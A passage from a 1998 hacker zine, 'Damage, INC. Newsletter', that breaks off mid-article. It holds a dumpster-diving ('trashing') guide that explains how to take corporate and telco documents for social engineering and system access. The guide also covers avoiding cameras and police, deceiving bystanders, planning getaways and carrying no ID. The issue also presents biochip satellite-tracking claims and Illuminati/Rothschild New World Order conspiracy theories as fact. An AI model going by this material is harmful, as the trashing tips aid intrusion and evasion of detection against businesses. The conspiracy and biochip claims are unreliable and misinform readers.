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Newsletter. þ BIG BROTHER BASHING - Big Brother will brand his cattle. ¯ Search String: {BIG BROTHER} þ BLACKENED'S TIP OF THE MONTH - Tips on Dumpster Diving and Trashing. ¯ Search String: {BLACKENED} þ BREAKER'S REVIEWS - Breaker's Web Site Reviews. ¯ Search String: {REVIEWS} þ CONSPIRACIES AND COVERUPS - NWO Part 1: Basic Introduction. ¯ Search String: {COVERUPS} þ CORRUPTION AND GREED - Slave labour in America's prisons. ¯ Search String: {GREED} þ DRUGS DISCUSSION - A Case for Legalization. ¯ Search String: {DRUGS} þ H/P INFORMATION AND NEWS - Internet outdials. ¯ Search String: {H/P} þ INTERVIEWS AND INTERROGATIONS - An Interview of Blackie Lawless. ¯ Search String: {INTERVIEWS} þ LETTERS TO THE EDITOR - More feedback about the Damage, INC. Newsletter. ¯ Search String: {LETTERS} þ OBJECTIVE OPINIONS - Violence. Reader discretion is advised. ¯ Search String: {OPINIONS} þ REPORTS FROM THE FRONT - Information on Micro$oft's Main Web Site. ¯ Search String: {REPORTS} þ SOURCE AND SCRIPTS - IP Spoofer. ¯ Search String: {SOURCE} þ THC PHREAK'S TOP TEN LIST - Differences between Americans and Canadians. ¯ Search String: {TOP TEN} þ THOUGHTS, POEMS AND CREATIVE WRITING - Thoughts on Enlightenment. ¯ Search String: {WRITING} þ CLOSING COMMENTS - BLACKENED's Motivational Closing Comments. ¯ Search String: {CLOSING} ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ < DISCLAIMER > All articles contained in the Damage, INC. Newsletter are for informational purposes only. Damage, INC. is not responsible for how any of the information presented is used. It is not intended to be a manual with instructions to be followed. We won't be held responsible for any damages caused, illegal acts committed etc. by our readers. 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All Rights Reserved. _______________________________________________________________________________ INTRODUCTION: The quote for this issue is "Search and Destroy". It invokes many images and powerful thoughts. What does it mean? Obviously, that depends upon your perspective. It could mean strength, aggressiveness, destruction, damage, a merciless mission, evil, or war itself. However, it could also mean something quite different from that. The above quote might mean searching out and destroying ignorance, misinformation and false assumptions. Indeed, there's more than one possible meaning. You just have to open your mind to the many possibilities that exist. The intended meaning is to fight ignorance and destroy the misinformation that surrounds us. To say that it's a difficult task is an understatement. I'll admit that I'm not optimistic. I'm a realist by nature and cannot fathom what's involved in accomplishing that goal. I realize that it will take years of dedication and diligent work to even make a small impression upon the ignorant masses that have been mislead and misinformed by the media, Big Brother etc. I also know that no matter how much time and effort is expended, a single individual can't make a significant difference. That is, they can't do it alone. That's the reason that I'm calling upon you, the readers of the Damage, INC. Newsletter to unite, exchange information and ideas and contribute towards a common goal. Our mission is to inform and educate. We cannot rely on anyone else but ourselves. "The system" is structured to teach you what *they* want you to know and nothing more. It has failed us all. It doesn't provide you with the means to attain wisdom and gain knowledge. In fact, it is setup to prevent you from thinking freely and learning about what interests you. They control the material that you study and absorb. They set the standards, the rules and test you on what you're supposed to know. Meaning, you're instructed to memorize certain material and then regurgitate it back to them later on. It's almost like a feedback loop. In reality, it's a trap. Don't be ashamed if you walked right into it due to your own naiveness. Many people have fallen into the same trap and become prey. The main problem is that most never escaped and they're currently zombies. As in, they do not possess the simple ability to think freely, examine things and then form their own opinions. They are the true failures in "society". They've failed themselves. Most importantly, they didn't learn the hard way from their mistake. The zombies assume that they were told the truth and defiantly reject learning the real truth. What can I do about it? That's a rhetorical question that is often spoken by zombies. They don't want a reply, the answer, nor do they wish to think and find a solution. Basically, they don't want to do anything about whatever problem they're indirectly referring to. In comparison to an enlightened person, a zombie is a sub-human, brainwashed, creature that is a slave to "society". Their only duty is to serve it. That is all that really concerns them. I've witnessed the ignorant, influenced, government loyal, Big Brother loving, brainwashed, sickening actions of zombies too many times. They are not only illogical, but also the most limited, controlled, puppets imaginable. Their lack of thought prevents them from ever evolving and achieving enlightenment. They are the epitome of thoughtlessness and the best followers that can be found. The only logical answer to their question is that they can do nothing about anything. At least, not without changing their state of mind and entire being. The zombies view is the accepted view of "society". To change that is to change everything including their very consciousness. The main point that I want to express is to warn everyone not to become a zombie. If you can think then you can do something. If you can learn then you can teach. If you can share ideas and information then you can make a positive difference. Don't just take it. Don't just ignore what is happening. Don't just give up and quit. Don't just surrender and let the ignorant of "society" win. The battle against ignorance must be waged now if things are going to change. If you think that it's possible to improve something, then make an attempt. As an example, it could be your local h/p scene. Or, you could search out and destroy articles of misinformation that you've seen being spread around. In any case, you'd be doing something that's beneficial instead of asking "What can I do about it?" repeatedly to no avail. The zombies will absolutely support the Thought Police, restrictions on privacy, the elimination of civil rights and freedom for "reasons of safety". Many of those things are already slipping away from our grasp. Don't allow it to continue. Think about that while you are still allowed to think freely... BIG BROTHER BASHING - {BIG BROTHER} Big Brother will brand his cattle. In the book "1984", George Orwell described a ruthless totalitarian state in which the actions and thoughts of its citizens were carefully tracked. Many people agree that Orwell was an exceptional author. However, most people assume that an Inner Party could not have such control over a society. I disagree with that. Orwell was an amazing man that was able to accurately predict what our world will be like in the future. The only limitation for Orwell was that he wasn't able to fully predict the monumental advances in technology since 1949. Orwell's prophetic book, to which we owe the title of this section of the Damage, INC. Newsletter, also leads me into what many people consider true prophesy. The Book of Revelation. Yes, there are some very disturbing prophesies in there, but there is one that I would like to focus on. Revelation 13 (16-17) states, "And he causeth all, both small and great, rich and poor, free and bond, to receive a mark in their right hand, or in their foreheads; "And that no man might buy or sell, save that he had the mark, or the name of the beast, or the number of his name." These verses refer to the Mark of the Beast, Satan's number 666, etc. Orwell's prediction of people being carefully watched by a vast network of Thought Police, and Bible prophesy regarding the Mark of the Beast are dangerously close to becoming a reality. For approximately a decade, Big Brother has possessed the technology necessary to implant humans with biochip transponders. Once these chips are implanted, Big Brother can use his satellites to track the victim's movements. The biochip transponders are implanted within a human via a syringe. It is place just under the skin of the subject. It can be placed anywhere... like under the skin of your forehead, or on the back of one of your hands. The approximate size of the implantable biochip transponder is a grain of rice. Once it is implanted, it is virtually impossible to remove. The biochip transponder emits low frequency FM radio waves. These FM radio waves are powerful enough to reach an orbiting satellite several miles up. The satellite can then be used to surmise the exact position of the implanted person. Big Brother can then discover latitude, longitude and elevation of the person branded by their transponder. Implanted biochip transponders technology has been used for over a decade. Especially in the United States, there are many domestic animals that have been implanted with biochips. InfoPet, a southern California company, was the first to get involved in injecting biochip transponders into cats and dogs. Companies like InfoPet have exploited the rampant fears of pet owners in order to implant as many biochip transponders as possible. Worse yet, in the mid 1990s, a company called KIDSCAN attempted to prey upon the fears of guilty, fearful parents when they offered a program to inject children with biochip transponders. Children "enrolled" in KIDSCAN would be tracked down and their coordinates would be immediately sent to the local police department. KIDSCAN's angle relied on the public's misconception that child abductions were running rampant. Another angle was when the KIDSCAN children become teenagers, parents that do not trust their children can use the transponder to track down their "rebellious teenagers". Of course, parents were too busy living in fear to think that they were injecting a foreign device into their children's body that could not be removed. These parents were so scared of losing their possession... err, child, that they were willing to sacrifice their child/children's freedom of movement permanently. People just don't think. Luckily, KIDSCAN founder Jack Dunlap's plans were finished, when funding for his Big Brother inspired idea was eliminated in the prototype stage. However, that was back in 1989. In those days, people cared more about their independence and individuality than they do these days. There is no doubt in my mind (and judging by the research I've done, many others) that Big Brother has the technology in the ready, and a plan to get the dupes out there to WANT the biochip implant. There are also other reasons (excuses) that Big Brother is publicly whirling around to people that are standing up against the implanted biochip transponders. The loudest one that Big Brother yells is well used "stop crime at the cost of all civil rights and liberties" propaganda. That includes convicted criminals, and suspects that are awaiting trial, and get bail. Big Brother would love to place a permanent biochip transponder into that person, the excuse being "they might jump bail". (Even if the suspect is released because he is innocent, he must live a life sentence under the unending surveillance of Big Brother.) Other recommended implant victims are the disabled (mentally and physically), poor people ("they might defraud the welfare system"), Altzheimers patients, and "dissidents" that stand against Big Brother. Big Brother knows how to dupe people. Step by step, Big Brother introduces new technologies that make it easier for him to track people's financial and physical movements. These days credit and debit cards are more popular than ever. In the November 1997 issue #3 of the Damage, INC. Newsletter, Shatazar wrote an article on smart cards. That is another, more intrusive step. A step after financial smart cards, are all-in-one cards that contain not only financial data, but all civic data as well (driver's licence, tax information, health information/history, etc.) There has been discussion in the United States regarding a National ID card. Once that is implemented by Big Brother, people will lose their cards, and be screwed because of it. As in Revelation 13, they won't be able to buy or sell. Big Brother will suggest a solution to lost or (intentionally?) damaged "smart" all-in-one cards by offering biochip implants. Big Brother will spew out so much propaganda, that the sheep will be lining up to be branded with the mark of Big Brother (the Beast?). What would happen if he commanded all hospitals and birthing centres to inject new born babies with the biochip transponder? It is impossible for the parents to protect their newborn when he/she is removed from the birthing room almost after birth. What would happen if there was a mandatory inoculation, but the injection is some saline solution and Big Bro's tracking chip? Once Big Brother acts, a full generation will be tracked from birth until death. Every moment of life can be documented and examined. It is easily within Big Brother's resources to do this. All he is waiting for is the mindless cattle to line up to be branded. Is that what you want? To live knowing that Big Brother is watching, and will severely punish you if you do something that is "politically incorrect" or "illegal"? If you go with the grain, and tolerate Big Brother's actions of oppression, say "MOOOOO". :( --- Written by THC Phreak. --- BLACKENED'S TIP OF THE MONTH - {BLACKENED} Tips on Dumpster Diving and Trashing: This is the incomplete guide to trashing for NNNs (novices, neophytes and newbies). Hey, I just invented a new abbreviation! :) This article will cover the basics that you'll need to know. It's more like an overview, a beginner's guide or "Trashing 101". I've divided it into the following sections: Section 1. How to avoid getting noticed and caught trashing. Section 2. Where the good dumpsters can usually be found. Section 3. What things to search for that are worth keeping. Section 1: How to avoid getting noticed and caught trashing. --------- ------------------------------------------------- Have you ever seen those big steel dumpsters outside of large buildings before? They're usually at the back or along the side and usually have something like "BFI" (on the blue dumpsters written in white lettering) or "Big Bear" (on the brown dumpsters, sometimes with their little bear logo on it). They're fairly easy to spot and find at places, due to their size. You should go trashing at night, and make sure you look around for cameras first at the location. Also, it's a good idea to use a very small flashlight (such as a pen light) that's discreet and can be concealed in your pocket easily if needed. Plus, don't bring along a large group of people. It's too conspicuous and only increases your chances of being noticed by someone like a cop or security guard. If you do go trashing in a group, don't talk too loudly or make a lot of noise while sorting through junk. Take a shopping cart along, and fill it with cardboard, junk from the first dumpster, bottles, cans, old clothing etc. Wear some really old, dirty, torn up, ripped clothes (as in, jeans and a t-shirt) and try to look like you're a homeless street person. Most people will avoid you and cops probably won't harass you if they assume you're just collecting bottles and cans. ;) Make sure you have a car parked nearby in case you need to make a quick getaway. Just don't park it right beside the dumpster or anything, since that'd expose your license plate number. The vehicle should be within running distance on a route that won't take you through well lit areas. You may want to carry some garbage bags filled with receipts, documents, binders, manuals or discarded computer hardware back to the car, and it'd look very obvious if you were running a long distance with your arms filled with things like that. So, place them into a backpack or use the shopping cart. Hide it underneath cardboard and garbage bags. A better way is to have someone drop you off, park and wait in the car at a secluded location and return later at the appointed time to pick you up. It's less suspicious that way and you won't have to walk around on the streets pushing a grocery cart filled with whatever you acquired in your trashing treasure hunt. ;) You should also do some research first. It'll benefit you tremendously later on if you find out if the intended target dumpsters are monitored by cameras, security guards etc. Find out when the businesses are closed and go there during the hours that nobody else will be around. To make your expedition safe and phun, sort through the trash somewhere private (like inside of a garage) instead of at the actual site. If someone on the street (like an ordinary citizen) asks you what you're doing, just reply "I'm collecting and recycling what big businesses throw away." then cough, spit and smile at them. They'll probably be happy to hear that reason and shouldn't bother you after that. Never try to explain what you're really doing. If the lamer persists, act like you're an insane, deranged madman by talking to yourself and looking around wildly for no apparent reason. That'll get rid of the nosy bastard for sure. Just don't get spoofed by any questions that they may ask. If you're too paranoid about getting caught, chances are you will forget to take the necessary steps, precautions and plan everything out carefully. Therefore, you shouldn't even attempt to go trashing as you'll only end up frozen like a deer staring into the bright light of a cop's flashlight. Fear and paranoia can be your worst enemies... especially in relation to stealthful trashing. Section 2: Where the good dumpsters can usually be found. --------- --------------------------------------------- At this point, you should know what a dumpster looks like and have some ideas on how to avoid getting detected and caught trashing. But before you dive in, you'll need to know where to find the "good dumpsters". That is, the ones that will provide you with some useful information, hardware or anything else that's interesting for that matter. I'll give you a few locations to start dumpster diving at, but it's up to you to do some research and look around. If you're observant and keep your eyes open, you can find out many things such as when the garbage is picked up at local businesses (in medium/large cities it's usually scheduled), what information they have and what type of stuff they throw out. This information is crucial to know as you don't want to spend hours trashing and return with nothing. There's absolutely nothing worse than time that's been wasted for no reason other than ignorance. So, become informed about the targets, narrow down your search to specific things that you want and pick a few victim dumpsters. Once you've done that and chosen some sites, plan and map everything out so that your first night of trashing goes as smoothly as possible. So, where are these "good dumpsters" located? The first place to check out is your local CO (Central Office). Even though it should be obvious what type of material can be found there, it will still be explained in the next section. Some other good places to go trashing are at computer stores, stereo shops, large office buildings (especially for PBX information, employee lists and anything else that can be used for h/p or social engineering purposes), retail stores/outlets, gas stations, banks, car dealerships, cellular phone retailers, and malls etc. Stay away from the food court (fast food) dumpsters though, unless you want to wear gloves and be up to your waist in greasy shit. They're too messy and usually don't yield anything that's useful. Just watch out for security guards, cameras, and cops patrolling the parking lots, alleys etc. This especially applies to banks, large stores, telco COs, and of course malls. Some large office buildings might have their own security hired to patrol at night as well. So, do a little research first and be careful about who's around and watching. Scouting the location during the day and looking for hidden cameras outside (mounted on light stands, the actual building, above doors etc.) is always a wise move. Section 3: What things to search for that are worth keeping. --------- ------------------------------------------------ It all depends upon what you want. If you want telco documents, manuals, notebooks, binders, trashed/broken equipment, reports, printouts, and perhaps some lists (consisting of acronyms, employees, codes, numbers etc.) I'm not going to tell you where to look for lists of CC #s. If you want to find and use them, then you're on your own. This article isn't meant for K0d3z Kidz. ;) If you want computer hardware, then try finding some dumpsters that are behind computer stores or large retail stores that sell all types of electronics equipment. Sometimes the larger office buildings throw away old monitors, motherboards, cases, hard drives etc. too. If you want computer software, then don't bother dumpster diving to look for it. Call a local warez board, ask a warez pup or check out some warez ftp sites if you want to be a warez d00d. ;) Look for anything else that you think *might* prove to be useful. That includes information that you can later use to social engineer a business, gain access to their systems, use their PBX, VMB etc. Just use your imagination and common sense to determine what is worth keeping and what isn't. In conclusion, I hope the tips and techniques discussed will be beneficial to our readers. If you do get caught trashing, the most that'll probably happen is them charging you with trespassing. So, it's only a minor offense. Don't bring any illegal weapons, burglary tools etc. with you, or you could be charged with a major offense. You should avoid carrying any ID with you in case something happens. Also, despite what I've written you still might be surprised at what you can find in the trash. ;) Here's a little trashing humour. Enjoy... Other names for Trashing: "Dumpster Diving, Trashcan jumping, Digging for Docs, Sliming, Recycling, Antiquing, Salvaging, Collecting, Scavenging, Impersonating the homeless." Dumpster Dive rating scale: 1/10 - You fall into the dumpster by accident, break your neck and drown while face down in over 100 gallons of slime and rotting vegetables. To say the least nobody is impressed, not even the coroner. 2/10 - You're thrown into a dumpster with a garbage bag tied over your head and suffocate to death. Your body isn't found. The landfill/dump becomes your final resting place. 3/10 - You jump into a dumpster and then realize it's filled with disgusting, stinking, decomposing fast food. The horrible stench makes you sick and you puke enough to fill a garbage bag, although most of it lands on your shoes. If that weren't bad enough, a small fire is started in the dumpster by some old lighters. Luckily you avoid getting burned. Then a cop arrives on the scene. He charges you with arson and trespassing to add insult to injury. You feel extremely foolish. 4/10 - A friend challenges you to leap into a dumpster from the roof of a building. You stupidly oblige and break both of your legs when you land. You cry out in pain and ask for help. Then you realize that the dumpster contained some old batteries. Some of them were crushed and broken open by your "leap of faith" and the battery acid was splashed on your clothes. It's starting to dissolve your jeans and sting your legs. Your friend helps you out and takes you to the hospital and they ask "What the hell happened to you?" You make up a lame story in an attempt to explain your injuries. You're embarrassed and feel like a complete idiot. Other patients in the emergency room mock and laugh at you. 5/10 - You dive in head first and sink to the bottom of the dumpster. Other people witness it and laugh at your "dumpster headstand". Your friends never let you forget about the now infamous "drunken faceplant into a half empty dumpster incident." You're humiliated for life. 6/10 - You climb in expertly. However, as you're digging around inside of the dumpster the lid slams closed on your head with a thud. Then someone that's walking down the alley locks it shut with a padlock. ;) 7/10 - You step into the dumpster like a pro. You find some useful "trash" sitting right on the top. Everything is going great until you notice your shoes are soaked. The soaker ruins your new $150 pair of shoes that you shouldn't have been wearing out trashing in the first place. 8/10 - You show off by doing a backflip into the dumpster. Everyone that's with you is impressed by your athletic ability and finesse. However, your car keys fall out and it takes you 30 minutes looking through trash to find them in. Eventually, you find the keys sitting on top of a fairly new telco manual with lists and other documents beside it. 9/10 - You pick a great night to go trashing. You find a dumpster that's filled with clean documents, manuals, notebooks etc. and dive right in. You look down at the papers and at your feet is the very list that you were just saying to your friends that you wanted to have. 10/10 - You find the "perfect dumpster", dive in, and within ten minutes you have managed to collect and gather together everything that you were looking for... including valuable hardware and telco information that is very difficult to acquire. Overall, it's the perfect dumpster dive. Written by BLACKENED ú Damage, INC. (C)opyright 1998. BREAKER'S REVIEWS - {REVIEWS} Breaker's Web Site Reviews: This is a list of Good H/P or security related web sites. I'll try to check these and keep them updated and free of 404's. www.rhino9.org A good site on NT hacking and security. Features Ogre (an NT security tool), the Modern Hacker's Desk Reference (a huge security/hacking faq), advisories, texts, tools. www.technotronic.com Another good security/hacking site affiliated with Rhino9. They have tools and text on Novell, Microsoft Products, *nix, a hacked web site archive that picks up where hacked.net left off, and a pretty good www based BBS. www.showdown.org A pretty good site that has a huge amount of exploits sorted by OS. They also have a large amount of text file and a Defcon VI ride sharing page. www.r00t.org These guys are not normal. A good hacking group with non traditional advisories, images, etc. You have to check it out to believe it. www.defcon.org A site dedicated to the biggest H/P con held annually in Las Vegas. This site contains con invites and information. It also has a good H/P and security links page. The site has information on the Defcon mailing list and voice bridge that has been going strong for years. www.rootshell.com One of the best places on the net for exploits. They even have a search engine. The site also feature technical papers and articles. (There Be Dragons..) www.jya.com/crypto Cryptome. A good site for up to date information on cryptography and general computer security. Updated daily. www.datasync.com/~sotmesc/sotmesc.html Spur of the Moment Elite Social Club. Former BBS turned web site. A good collection of H/P links and information. This site features mailing lists, WWWBoards, and a hardcopy zine. www.dope.org Domain set up by Illinois hackers. Check out the entire site featuring the Pimp Zine and Apocalypse 2000 BBS page. The users pages fringe, insane linemane, etc. contain H/P and security information that each user is interested in. www.legions.org Legions of the Underground Site dedicated to L.O.U. members. Contains exploits, utils, texts, a WWWBoard, and a mailing list. Includes a new H/P zine Keen Veracity. www.lithiumnode.com The original AOL hackers. Not everyone on AOL is lame. These guys are not the traditional AOL proggie kids. They don't have punters or IM bombers. These guys actually hack the content and security areas of AOL. They have screen shots of their hacks and links to other Anti-AOL groups and hackers. www.dis.org/se7en Se7en is a former hacker turned security expert who still keeps roots in the scene. His site is constantly changing. He often puts up good web site hack mirrors, informative text and RFC's. He also houses the h4x0r Br0th3rz zine (A hilarious H/P parody zine that pisses a lot of people off). www.warforge.com An IRC hackers dream. This site has tons of Windows based IRC war programs and patches. The site also list programs that don't work or contain viruses or trojans. There is also a WWWBoard to discuss new programs and attacks. Ok, thats it for now. I'll put out another list of good H/P and security web sites soon. If you have any good H/P sites you think are worthy of being included in the list email me on FOI or AJFA and they'll go in the next list. Future Reviews: More H/P sites WWWBoards Exploit Archives International H/P Sites H/P Cons Other Possible Reviews: IRC channels (Not my specialty, but if someone else would like to volunteer..) FTP sites Mailing lists BBS's etc. CONSPIRACIES AND COVERUPS - {COVERUPS} NWO Part 1: Basic Introduction. What is the New World Order (NWO)? Is it more than a meaningless phrase that George Bush said during the Persian Gulf War? Or is it something more? Well, I'm telling you that it is much more than the name of a group of WCW wrestlers. ;-) Seriously though, if you haven't had the ambition or opportunity to learn about the New World Order, you do not know about the greatest conspiracy that threatens our freedom. In this article, it is my intention to give those of you enough information about the NWO so that you are no longer totally in the dark. I feel that it is critically important that everyone learns what is happening now... so that we aren't caught by surprise by our enemies. If you have already researched the NWO topic, you may want to skip this article now, and read it after you have enjoyed the rest of the Damage, INC. Newsletter. :-) The first question you could be thinking right now is what is the New World Order? The New World Order is the restructuring of the political, economic, and social structures of the world towards a one world government. This world government will have control over all countries, and membership in the NWO will be mandatory. The world government will only serve the interests of a small group of extremely rich and powerful people that are members of elite globalist groups. The rest of us will be used for labour. There are quite a few groups that are very secretly working towards one world government that they intend pull the strings of. Below I will list various groups and give you basic information on each. The members of these groups are extremely rich, and influential in their own fields. When they meet, they do so to shape the world for their own benefit. And what benefits them the most is to find ways to control us. Illuminati: The Illuminati was formed in the 1700s (I saw the date May 1, 1776 in several articles I've read, but obviously I can't confirm it) by German professor Adam Weishaupt. Modern day conspiracy analysts believe the purpose of this "secret society" was to fund each other in their conspiracies and plans for world domination. Skeptics believe this group was formed by free thinkers trying to make Europe into a more loving, tolerant place. I personally believe it was the former. The current day Illuminati want to make the world a better place for themselves. The most powerful and noteworthy modern Illuminati are powermongers like Rockefeller, Rothschild, Carnagie, and so on. Bilderberg: The first Bilderberg meeting was held during 1954 in the Bilderberg Hotel in Oosterbeek, Holland. The delegates that attend the Bilderberg Meeting are referred to as Bilderbergers. Bilderberg Members are from North America or Europe. It is because of the Bilderberg that the groundwork for the European Union was laid. Their goal, like the other groups is to weaken nationalism in favour of a globalist system ruled by the elite. Council on Foreign Relations: The Council on Foreign Relations (CFR) was founded in 1921 with the help of the Rockefellers. The CFR is an American elitist organization that was modelled after the British Royal Institute on International Affairs. Members are a who's who of the American elite. Virtually all high ranking politicians are members, as well as the elite in fields such as the media, bureaucracies, telecommunications, science, academics, business and industry leaders, banking/high finance, oil/energy companies, and the military. With such a collection of influential people, it is not unreasonable to think that the CFR could act as the United States' secret government. Its objective is the implementation of the New World Order. After all, the CFR was the force behind the creation of the United Nations after World War II. The Trilateral Commission: The Trilateral Commission was formed in 1973 by David Rockefeller. Members of the Trilateral Commission live in one of three world zones; North America, Western Europe, and Japan (Asia). The objective of this group is to promote free movement of transnational currency by eliminating the economic sovereignty of individual nations. Like the CFR, the Trilateral Commission members' backgrounds are diverse. It is disturbing to note that every U.S. President since Jimmy Carter is a member of the Trilateral Commission. There are other NWO-driven groups and meeting places for the Illuminati, but these are the believed to be the pulse of the New World Order. Again I mention that the Illuminati, through subgroups like the CFR and the Trilateral Commission have taken control of every important governmental post, and have members and sympathizers in every critical corporate and academic position. Now that I have given you a basic introduction to the globalist elite and their groups involved in the New World Order, I will discuss some of their philosophies, and what they have been doing to bring them into being. As I mentioned at the beginning of the article, the NWO a restructuring of the political, economic, and social structures of the world. Obviously if you can control all three structures, you control the world. That is what the elite bastards have been doing for decades now. Even today, we are feeling the effects of their work. Economic Restructuring I will begin with how the global elitists have changed the economic structure to benefit their ultimate goal. The reason I begin here is because the changes are extremely evident once they thought about and examined. Look at what has changed since the beginning of this century. There has been many economic unions and free trade agreements occurring all over the world. From GATT (Global Agreement on Tariffs and Trade) to the European Community, to NAFTA, it has all happened in the past 20 years. In this time, sovereign control over trade has been changed to free trade under the international rules. There is no doubt that the economic restructuring of the world economy and world trade benefit elitist groups like the Trilateral Commission. It is sickening that a one world economic system is virtually in place. The European Union has progressed to the point where the currency of member states has been eliminated in favour of one supranational currency. In the Western Hemisphere, North America already has a free trade agreement, and there are plans to have a Free Trade Agreement of the Americas by the year 2005 at the latest. There are also negotiations occurring in Asia and Oceania as they attempt to hammer out a free trade agreement and economic union in that part of the world. Don't be fooled by the collapse of Indonesia and other Asian countries, that is of little consequence to the plans of the globalists. Not only do they earn unimaginable profits, but *they* have set the rules and hold the power of the economic world order. Obviously, that's the whole point. :-( They have the influence to create their own recessions and depressions. In fact, some knowledgable researchers believe that the CFR, under the guidance of the Rockefellers, Rothschilds, and others engineered the 1929 stock market crash. Why would they do something like that? Economic restructuring. The depression drove many nations, including the United States, into debt. And of course the families I listed above gained control of the U.S. economy because they hold a debt that the United States of America will not be able to repay. To quote Mayer Amschel Rothschild, "Give me control over a nation's currency, and I care not who makes its laws." He said these words in the early 1800s, before his death in 1812. That should give you some idea as to how long the Illuminati have been manipulating and restructuring economic systems for their own purposes. Political Restructuring Because the economic structure of the world is dominated by the Illuminati, they have tremendous influence over the political happenings within countries, particularly "western" nations like the United States and Canada. The global elite have been successful in creating a political organization to further their goals to create a one world government that operates under their thumb. I am referring to the United Nations. The United Nations is the result of the global elite taking advantage of a war weary world after the end of World War II. Publicly touted as an organization to "stop future wars", representatives from most nations met in San Francisco to create a new world organization after the death of the League of Nations. This conference began on April 26, 1945. On June 26, 1945, the conference ended with the creation of the UN Charter. It was known from the very beginning what the global elite plans were. The United Nations is to be the world government, above all other sovereign nations. In fact, the Chicago Tribune had a sickening headline in their August 6, 1946 issue. "Radicals, Rich Unite to Push World State; Fight Defenders of US Sovereignty." There is other, more subtle evidence that the elite were a force behind the creation of the United Nations. In 1950, it was the Rockefellers that donated the land in New York where the UN Headquarters now stands. Greedy globalists like the Rockefellers don't give prime real estate away unless they plan on getting a payoff later on. The reason why the UN's predecessor, the League of Nations, failed was because the United States Congress killed potential U.S. membership. This time, the leaders of the NWO conspiracy decided that things would be different. The CFR, as well as the CFR controlled U.S. State Department used propaganda and other tactics to influence the U.S. Congress and the American people to embrace the UN, even at the cost of control over their own affairs of state. Obviously, the CFR was successful. The United States joined the United Nations when they signed the charter. At that moment, the globalists rejoiced. It didn't take them long to test the power in the United Nations either. In 1950, the UN decided that they would force member nations like the United States to send their men and women to Korea for a "policing operation." American and Canadian soldiers died wearing the uniform of the United Nations. You may also have heard of a conflict in Vietnam. That conflict was escalated by the United Nations. Over 50 years after the charter was signed, the United Nations is being restructured. It is my personal prediction that early in the next millennium, the UN will have more than just an assembly of representatives. It will be a world assembly, complete with a world court. It will have the power to tax, to create laws that all nations must obey, and more. Basically, the structure of the UN will be similar to the structure the European Union operates under. The only difference is that the UN will not have to respect the sovereignty of its "member states." The UN itself will also have a military that will be under their direct control. That includes a nuclear weapons arsenal. The UN is only a small portion of the political restructuring the global elite have been accomplishing around the world. However, I decided to focus on the UN because it is what the world government will be. In the next issue of the Damage, INC. Newsletter, I will reveal to you some UN conspiracies, and how they relate to the New World Order. Social Restructuring This is the most frightening part of the NWO because it affects all the people that believe in "society" directly. After all, the leaders of the globalist movement don't care about "society." "Society" to them is a flock of ignorant sheep to be coddled or exploited, depending on the circumstances of their plans at that particular moment. What angers me the most is that the globalists are giving the zombies exactly what they want. Zombies don't want to think for themselves... they want those that they view as intelligent and superior to do the thinking for them. It is the apathetic attitude of the zombies in "society" that has lead to what I believe to be the final steps in implementing the New World Order I have described in this article. It is because the vast majority of citizens in the last few generations have given their ownership of their sovereign nations to internationalist bankers, and politicians (their allies). They have been able to easily restructure the political and economic portions of almost all "western" nations, like the United States, Canada, Europe, etc. What I am driving at is that those that are forming the NWO have taken what the zombies (the majority) have given them, and then proceeded to use that power against all of us. The social restructuring has been accepted time and time again. The NWO conspirators put the screws to "society" by changing something, then the zombies tolerate the change. Some changes could be the elimination of civil rights, economic policy that cause massive unemployment, and so on. These changes only benefit the elite, and entrench the NWO even further. As you learn more about the NWO, you should be extremely conscious that they have been working on their plans for many years. There are plans that haven't even been unleashed upon us yet, yet the groundwork was laid decades ago. I plan on going into deeper detail in regards to the NWO social restructuring plans/conspiracies that have, and possibly will occur in a future article. This article marks the beginning of a series about the NWO that will be in the Damage, INC. Newsletter. If you haven't read anything about the New World Order previously, I hope that this very basic introduction has helped you. I have tried to keep it simple for you. There is a lot of information that I was unable to include. Therefore, I encourage you to seek out as much information and opinions regarding the New World Order as you possibly can. The Internet contains a tremendous amount of different viewpoints, as well as NWO booklists. Written by Shatazar ú Damage, INC. (C)opyright 1998. CORRUPTION AND GREED - {GREED} Slave labour in America's prisons. It doesn't take a genius to realize that prisons are on of the booming industries within North America. More and more government monies are being "invested" into the prison system. It is interesting to know that the state of California spends more money on prisons than it does on education. Most people may think that prisons are a financial drain on governments... but that has changed with the evolvement of prison industries. Prison industries have been around for decades. In its crudest form, it is the infamous chain gangs that remove trash and other debris from the ditches along highways. There is also a stereotype of prisoners manufacturing road signs and licence plates in a basement factory connected to the prison. In those days, prison industries like that were only allowed to work like slaves for the benefit of the government. However, in the modern era where the emotion of greed is paramount, and corrupt practices are an effective end to those means, things have definitely changed within prison industries. Especially in the United States, prison industries are expanding and evolving at a ferocious rate. In an attempt to make prisons "more profitable," prison industries are actually starting to undercut and eliminate private sector manufacturing, driving companies and law-abiding taxpayers out of work. In fact, some wardens are trying to influence corrupt, fat cat companies to use domestic prison factories as a cheap source of labour, instead of foreign (Asian, Mexican, etc.) labour. Prison industries usually comprise of the manufacturing of products such as furniture, textiles, and other small products. For example, in Dane County, Wisconsin at the Oakhill Correctional Institute there is a typical dank, basement factory in which inmates work 40 hours a week manufacturing office chairs and other furniture. In 1995, Badger State Industries, which runs the prison industry within Wisconsin, made $1.2 million in profit. The average wage for these inmates ranged from twenty cents to $1.50 per hour. Fifteen percent of their gross wages was taken by the prison system in addition to the profit made by the state of Wisconsin. At these horrid, unfair wage levels private industry cannot compete as prison industries continue to expand. Economic forecasts released by the Correctional Industries Association in the United States predicts that 30 percent of America's inmates will produce approximately $9 billion in sales by the year 2000. Nine billion dollars that should have been used for the employment of the working class. Even worse than that, cheaper goods and higher profit levels are earned by those greedy fat cats that buy and sell these goods produced by this form of slave labour. Private corporations are rejoicing at the prospects of using (abusing) inmates to manufacture cheap goods/supplies for their operations. In the state of Oregon, which in 1995 passed a constitutional amendment which forces *all* state inmates to work, have their enslaved work force in prison industries producing uniforms for McDonald's, jeans for Kmart and JC Penney, and rocking ponies (which sold for $80 in 1995) for the trendy Eddie Bauer stores. These special orders from the above corporations are in addition to the staple products like furniture, mattresses, computer circuit boards, etc. Manufacturing is a huge part of the prison industries and their incarcerated slaves, but that is not all that inmates are doing. They are forced to do clerical services as well. Inmates are plopped in front of a computer and are expected to perform data entry, and other data processing tasks. Youth offenders in California were "hired" by TWA. The 